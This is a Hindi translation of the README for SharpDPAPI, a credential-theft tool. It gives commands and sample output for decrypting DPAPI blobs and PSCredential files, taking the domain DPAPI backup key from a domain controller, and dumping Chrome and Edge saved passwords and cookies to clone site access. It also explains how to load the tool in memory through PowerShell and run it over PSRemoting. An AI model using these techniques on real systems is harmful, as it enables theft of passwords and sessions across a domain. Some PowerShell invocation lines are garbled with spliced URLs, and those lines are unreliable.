CryptProtectData() ( /unprotect फ़्लैग) का उपयोग करके एक निर्यातित क्रेडेंशियल .xml को डिक्रिप्ट करें:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] कार्रवाई: PSCredential .xml का वर्णन करें
क्रेडफ़ाइल : C:\Temp\cred.xml
एक्सेस किया गया : 7/25/2019 11:53:09 AM
संशोधित : 7/25/2019 11:53:09 AM
उपयोगकर्ता नाम : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
आकार : 170
फ़्लैग्स : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
विवरण :
पासवर्ड : Password123!
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] कार्रवाई: PSCredential .xml का वर्णन करें
[*] डिक्रिप्शन कुंजी मैपिंग के लिए मास्टरकीज़ की ट्राइएज करने हेतु डोमेन DPAPI बैकअप कुंजी का उपयोग कर रहे हैं!
[*] उपयोगकर्ता मास्टर कुंजी कैश:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
क्रेडफ़ाइल : C:\Temp\cred.xml
एक्सेस किया गया : 7/25/2019 12:04:12 PM
संशोधित : 7/25/2019 12:04:12 PM
उपयोगकर्ता नाम : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
आकार : 170
फ़्लैग्स : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
विवरण :
पासवर्ड : Password123!
किसी भी खोजे जाने योग्य मास्टरकीज़ को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] कार्रवाई: PSCredential .xml का वर्णन करें
[*] डिक्रिप्शन कुंजी मैपिंग के लिए मास्टरकीज़ की ट्राइएज करने हेतु डोमेन DPAPI बैकअप कुंजी का उपयोग कर रहे हैं!
[*] उपयोगकर्ता मास्टर कुंजी कैश:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
क्रेडफ़ाइल : C:\Temp\cred.xml
एक्सेस किया गया : 7/25/2019 12:04:12 PM
संशोधित : 7/25/2019 12:04:12 PM
उपयोगकर्ता नाम : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
आकार : 170
फ़्लैग्स : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
विवरण :
पासवर्ड : Password123!
blob कमांड एक DPAPI ब्लॉब का वर्णन/डिक्रिप्ट करेगा। एक /target:<BASE64|blob.bin> अनिवार्य है।
कमांड a) पास किए गए किसी भी "{GUID}:SHA1" मास्टरकी के साथ ब्लॉब को डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए एक आपूर्ति की गई DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करेगा (जैसे masterkeys), या d) किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए /password:X का उपयोग करेगा, जिसे बाद में एक लुकअप डिक्रिप्शन तालिका के रूप में उपयोग किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
/unprotect फ़्लैग मास्टरकी की आवश्यकता के बिना ब्लॉब को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उस उपयोगकर्ता संदर्भ से चलाया जाता है जिसने पासवर्ड सहेजे थे। यह एक अविशेषाधिकार प्राप्त संदर्भ से किया जा सकता है, LSASS को छुए बिना। क्रेडेंशियल/वॉल्ट के लिए इस दृष्टिकोण का उपयोग क्यों नहीं किया जाता है, इसके लिए Benjamin का दस्तावेज़ीकरण यहाँ देखें।
CryptProtectData() ( /unprotect फ़्लैग) का उपयोग करके एक ब्लॉब को डिक्रिप्ट करें:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] कार्रवाई: DPAPI ब्लॉब का वर्णन करें
[*] डिक्रिप्शन के लिए CryptUnprotectData() का उपयोग कर रहे हैं।
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
आकार : 170
फ़्लैग्स : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
विवरण :
डिक्रिप्ट(ब्लॉब) : Password123!
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using CryptUnprotectData() for decryption.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
किसी भी खोजे गए मास्टरकी को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe DPAPI blob
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
backupkey कमांड, Mimikatz के LsaRetrievePrivateData API दृष्टिकोण का उपयोग करके एक डोमेन कंट्रोलर से डोमेन DPAPI बैकअप कुंजी प्राप्त करेगा। इस निजी कुंजी का उपयोग डोमेन पर किसी भी उपयोगकर्ता के लिए मास्टरकी ब्लॉब को डिक्रिप्ट करने के लिए किया जा सकता है। और इससे भी बेहतर, कुंजी कभी नहीं बदलती ;)
किसी दूरस्थ डोमेन कंट्रोलर से कुंजी प्राप्त करने के लिए डोमेन एडमिन (या समकक्ष) अधिकारों की आवश्यकता होती है।
/nowrap फ़्लैग प्रदर्शन पर base64 कुंजी को रैप होने से रोकेगा।
इस base64 कुंजी ब्लॉब को एक बाइनरी .pvk फ़ाइल में डीकोड किया जा सकता है, जिसका उपयोग Mimikatz के dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk मॉड्यूल के साथ, या SharpDPAPI के masterkeys, credentials, या vault कमांड्स के साथ blob/file /pvk:X रूप में किया जा सकता है।
डिफ़ॉल्ट रूप से, SharpDPAPI DsGetDcName API कॉल के माध्यम से वर्तमान डोमेन कंट्रोलर निर्धारित करने का प्रयास करेगा। /server:COMPUTER.domain.com के साथ एक सर्वर निर्दिष्ट किया जा सकता है। यदि आप base64 ब्लॉब के रूप में आउटपुट के बजाय कुंजी को डिस्क पर सहेजना चाहते हैं, तो /file:key.pvk का उपयोग करें।
वर्तमान डोमेन कंट्रोलर के लिए DPAPI बैकअप कुंजी प्राप्त करें:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Retrieve domain DPAPI backup key
[*] Using current domain controller : PRIMARY.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Key :
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(snip)...
निर्दिष्ट DC के लिए DPAPI बैकअप कुंजी प्राप्त करें, बैकअप कुंजी को एक फ़ाइल में आउटपुट करें:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Retrieve domain DPAPI backup key
[*] Using server : primary.testlab.local
[*] Preferred backupkey Guid : 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Full preferred backupKeyName : G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Backup key written to : key.pvk
search कमांड रजिस्ट्री, फ़ाइलों, फ़ोल्डरों और base64 ब्लॉब में संभावित DPAPI ब्लॉब की खोज करेगा। उपयोग:``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
`search` कमांड निम्नलिखित बाइट्स को खोजकर काम करता है, जो DPAPI ब्लॉब संरचना के हेडर (Version + DPAPI provider GUID) का प्रतिनिधित्व करते हैं:```
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB
search कमांड के अलग-अलग आर्गुमेंट होते हैं जो स्कैन किए जा रहे डेटा प्रकार पर निर्भर करते हैं। डेटा प्रकार निर्दिष्ट करने के लिए, /type आर्गुमेंट का उपयोग करें जो registry, folder, file, या base64 निर्दिष्ट करता है। यदि /type आर्गुमेंट मौजूद नहीं है, तो कमांड डिफ़ॉल्ट रूप से रजिस्ट्री खोजेगा।
बिना किसी अन्य आर्गुमेंट के रजिस्ट्री खोजने पर, कमांड HKEY_LOCAL_MACHINE और HKEY_USERS हाइव्स को पुनरावर्ती रूप से खोजेगा। /path पैरामीटर का उपयोग करके खोज शुरू करने के लिए एक रूट की निर्दिष्ट करें (जैसे /path:HKLM\Software) और गणना के दौरान आने वाली त्रुटियों को प्रदर्शित करने के लिए /showErrors आर्गुमेंट का उपयोग करें।
फ़ाइल या फ़ोल्डर खोजते समय, /path:C:\Path\to\file\or\folder के साथ एक पथ निर्दिष्ट करें और वैकल्पिक रूप से प्रत्येक फ़ाइल से पढ़ने के लिए बाइट्स की संख्या निर्दिष्ट करने के लिए /maxBytes:<int> का उपयोग करें (डिफ़ॉल्ट: 1024 बाइट्स)। कमांड फ़ाइल की शुरुआत से बाइट्स पढ़ेगा और DPAPI ब्लॉब खोजेगा। गणना के दौरान आने वाली त्रुटियों को प्रदर्शित करने के लिए /showErrors का उपयोग करें।
base64 ब्लॉब खोजते समय, /base64:<base64 str> पैरामीटर के साथ स्कैन करने के लिए base64-एन्कोडेड बाइट्स निर्दिष्ट करें।
यदि किसी मशीन पर उन्नत विशेषाधिकार हैं जो SCCM क्लाइंट है, और यदि SCCM वातावरण नेटवर्क एक्सेस अकाउंट (NAA) के साथ कॉन्फ़िगर किया गया है, तो सिस्टम मास्टर कुंजी-संरक्षित DPAPI ब्लॉब जिनमें NAA क्रेडेंशियल्स हैं, WMI के माध्यम से प्राप्त किए जा सकते हैं; SCCM कमांड WMI के माध्यम से ब्लॉब प्रश्न करेगा, सिस्टम मास्टर कुंजियाँ प्राप्त करेगा, और ब्लॉब को डिक्रिप्ट करेगा।
logins कमांड क्रोम 'Login Data' फ़ाइलों की खोज करेगा और सहेजे गए लॉगिन पासवर्ड को डिक्रिप्ट करेगा। यदि निष्पादन अन-एलिवेटेड संदर्भ में है, तो CryptProtectData() स्वचालित रूप से मानों को डिक्रिप्ट करने का प्रयास करेगा। यदि /browser:edge निर्दिष्ट है, तो नए Chromium-आधारित Edge ब्राउज़र को ट्राइएज किया जाता है।
Login Data फ़ाइलों को इसके साथ भी डिक्रिप्ट किया जा सकता है: a) कोई भी "{GUID}:SHA1 {GUID}:SHA1 ..." मास्टरकी पास की गई, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग की /mkfile:FILE, c) एक आपूर्ति की गई DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, या d) एक /password:X किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, जिसे बाद में लुकअप डिक्रिप्शन तालिका के रूप में उपयोग किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
एक विशिष्ट Login Data फ़ाइल को /target:FILE के साथ निर्दिष्ट किया जा सकता है। एक दूरस्थ /server:SERVER निर्दिष्ट किया जा सकता है यदि /pvk या /password भी प्रदान किया गया हो। नए Chrome/Edge उदाहरणों को ट्राइएज करते समय, एक /statekey:X AES स्टेट की निर्दिष्ट की जा सकती है।
डिफ़ॉल्ट रूप से, लॉगिन CSV प्रारूप में प्रदर्शित होते हैं। इसे table आउटपुट के लिए /format:table के साथ संशोधित किया जा सकता है। साथ ही, डिफ़ॉल्ट रूप से केवल गैर-शून्य पासवर्ड मान प्रविष्टियाँ प्रदर्शित होती हैं, लेकिन सभी मान /showall के साथ प्रदर्शित किए जा सकते हैं।
यदि एलिवेटेड संदर्भ से चलाया जाता है, तो सभी उपयोगकर्ताओं की Login Data फ़ाइलें ट्राइएज की जाएंगी, अन्यथा केवल वर्तमान उपयोगकर्ता की Login Data फ़ाइलें संसाधित की जाएंगी।
cookies कमांड क्रोमियम 'Cookies' फ़ाइलों की खोज करेगा और कुकी मानों को डिक्रिप्ट करेगा। यदि निष्पादन अन-एलिवेटेड संदर्भ में है, तो CryptProtectData() स्वचालित रूप से मानों को डिक्रिप्ट करने का प्रयास करेगा। आप /browser:<VALUE> (जैसे edge, brave, slack) का उपयोग करके लक्ष्य एप्लिकेशन बदल सकते हैं।
Cookie फ़ाइलों को इसके साथ भी डिक्रिप्ट किया जा सकता है: a) कोई भी "{GUID}:SHA1 {GUID}:SHA1 ..." मास्टरकी पास की गई, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग की /mkfile:FILE, c) एक आपूर्ति की गई DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, या d) एक /password:X किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, जिसे बाद में लुकअप डिक्रिप्शन तालिका के रूप में उपयोग किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
एक विशिष्ट Cookies फ़ाइल को /target:FILE के साथ निर्दिष्ट किया जा सकता है। एक दूरस्थ /server:SERVER निर्दिष्ट किया जा सकता है यदि /pvk या /password भी प्रदान किया गया हो। नए Chrome/Edge उदाहरणों को ट्राइएज करते समय, एक /statekey:X AES स्टेट की निर्दिष्ट की जा सकती है।
डिफ़ॉल्ट रूप से, कुकीज़ CSV प्रारूप में प्रदर्शित होती हैं। इसे table आउटपुट के लिए /format:table या EditThisCookie द्वारा आयात करने योग्य आउटपुट के लिए /format:json के साथ संशोधित किया जा सकता है। साथ ही, डिफ़ॉल्ट रूप से केवल गैर-समाप्त कुकी मान प्रविष्टियाँ प्रदर्शित होती हैं, लेकिन सभी मान /showall के साथ प्रदर्शित किए जा सकते हैं।
यदि एलिवेटेड संदर्भ से चलाया जाता है, तो सभी उपयोगकर्ताओं की Cookie फ़ाइलें ट्राइएज की जाएंगी, अन्यथा केवल वर्तमान उपयोगकर्ता की Cookie फ़ाइलें संसाधित की जाएंगी।
cookies कमांड में /cookie:REGEX और /url:REGEX आर्गुमेंट भी हैं जो केवल दिए गए regex से मेल खाने वाले कुकी नाम या URL लौटाने के लिए उपयोगी हैं। यह विशिष्ट साइटों तक पहुँच को आसानी से क्लोन करने के लिए /format:json के साथ उपयोगी है।
डिफ़ॉल्ट रूप से, statekeys कमांड क्रोमियम-आधारित एप्लिकेशन (गूगल क्रोम, एज, ब्रेव और स्लैक) खोजेगा, उनकी AES statekey फ़ाइलों का पता लगाएगा (जैसे, 'AppData\Local\Google\Chrome\User Data\Local State' और 'AppData\Local\Microsoft\Edge\User Data\Local State'), और उन्हें उसी प्रकार के आर्गुमेंट्स का उपयोग करके डिक्रिप्ट करेगा जो cookies और logins के लिए प्रदान किए जा सकते हैं। आप /target: पैरामीटर का उपयोग करके किसी विशिष्ट state-key फ़ाइल का पथ भी प्रदान कर सकते हैं (जैसे, "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State")।
State keys को इसके साथ भी डिक्रिप्ट किया जा सकता है: a) कोई भी "{GUID}:SHA1 {GUID}:SHA1 ..." मास्टरकी पास की गई, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग की /mkfile:FILE, c) एक आपूर्ति की गई DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, या d) एक /password:X किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करने के लिए, जिसे बाद में लुकअप डिक्रिप्शन तालिका के रूप में उपयोग किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
यदि एलिवेटेड संदर्भ से चलाया जाता है, तो सभी उपयोगकर्ताओं की state keys ट्राइएज की जाएंगी, अन्यथा केवल वर्तमान उपयोगकर्ता की state keys संसाधित की जाएंगी।
backupkey कमांड एक डोमेन कंट्रोलर से LsaRetrievePrivateData API दृष्टिकोण Mimikatz से का उपयोग करके डोमेन DPAPI बैकअप कुंजी प्राप्त करेगा। इस निजी कुंजी का उपयोग तब डोमेन में किसी भी उपयोगकर्ता के मास्टर की ब्लॉब को डिक्रिप्ट करने के लिए किया जा सकता है। और इससे भी बेहतर, कुंजी कभी नहीं बदलती ;)
दूरस्थ डोमेन कंट्रोलर से कुंजी प्राप्त करने के लिए डोमेन प्रशासक (या समकक्ष) अधिकारों की आवश्यकता होती है।
/nowrap फ्लैग प्रदर्शन पर बेस64 कुंजी को लपेटने से रोकेगा।
इस बेस64 कुंजी ब्लॉब को एक बाइनरी .pvk फ़ाइल में डीकोड किया जा सकता है जिसका उपयोग तब Mimikatz के dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk मॉड्यूल के साथ किया जा सकता है, या masterkeys, credentials, या vault SharpDPAPI कमांड के साथ blob/file /pvk:X रूप में उपयोग किया जा सकता है।
डिफ़ॉल्ट रूप से, SharpDPAPI DsGetDcName API कॉल के माध्यम से वर्तमान डोमेन कंट्रोलर का निर्धारण करने का प्रयास करेगा। एक सर्वर को /server:COMPUTER.domain.com के साथ निर्दिष्ट किया जा सकता है। यदि आप बेस64 ब्लॉब के बजाय कुंजी को डिस्क पर सहेजना चाहते हैं, तो /file:key.pvk का उपयोग करें।
हम SharpDPAPI के लिए बायनेरिज़ जारी करने की योजना नहीं बना रहे हैं, इसलिए आपको स्वयं संकलन करना होगा :)
SharpDPAPI को .NET 3.5 के विरुद्ध बनाया गया है और यह Visual Studio 2019 Community Edition के साथ संगत है। बस प्रोजेक्ट .sln खोलें, "Release" चुनें और बनाएँ।
SharpDPAPI का डिफ़ॉल्ट बिल्ड कॉन्फ़िगरेशन .NET 3.5 के लिए है, जो उन सिस्टमों पर विफल होगा जिनमें वह संस्करण स्थापित नहीं है। SharpDPAPI को .NET 4 या 4.5 के लिए लक्षित करने के लिए, .sln समाधान खोलें, Project -> SharpDPAPI Properties पर जाएँ और "Target framework" को दूसरे संस्करण में बदलें।
यदि आप PowerShell रैपर के माध्यम से SharpDPAPI को मेमोरी में चलाना चाहते हैं, तो पहले SharpDPAPI संकलित करें और परिणामी असेंबली को base64-एनकोड करें:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
फिर SharpDPAPI को PowerShell स्क्रिप्ट में निम्नलिखित के साथ लोड किया जा सकता है (जहाँ "aa..." को base64-एन्कोडेड SharpDPAPI असेंबली स्ट्रिंग से बदलें):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
Main() विधि और किसी भी आर्गुमेंट को फिर निम्नानुसार लागू किया जा सकता है:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)
PSRemoting जिस तरह से आउटपुट को संभालता है, उसके कारण हमें stdout को एक स्ट्रिंग पर रीडायरेक्ट करना होगा और उसके बजाय उसे वापस करना होगा। सौभाग्य से, SharpDPAPI में इसके लिए एक फ़ंक्शन है।
यदि आप साइडनोट: PowerShell के माध्यम से SharpDPAPI चलाना में दिए गए निर्देशों का पालन करके SharpDPAPI.ps1 बनाते हैं, तो स्क्रिप्ट में कुछ इस प्रकार जोड़ें:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)
फिर आपको PSRemoting पर SharpDPAPI को कुछ इस प्रकार चलाने में सक्षम होना चाहिए:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
वैकल्पिक रूप से, SharpDPAPI /consoleoutfile:C:\FILE.txt आर्गुमेंट सभी आउटपुट स्ट्रीम को निर्दिष्ट फ़ाइल पर रीडायरेक्ट करेगा।
/mkfile:FILE/pvk:BASE64.../pvk:key.pvk/password:Xsekurlsa::dpapi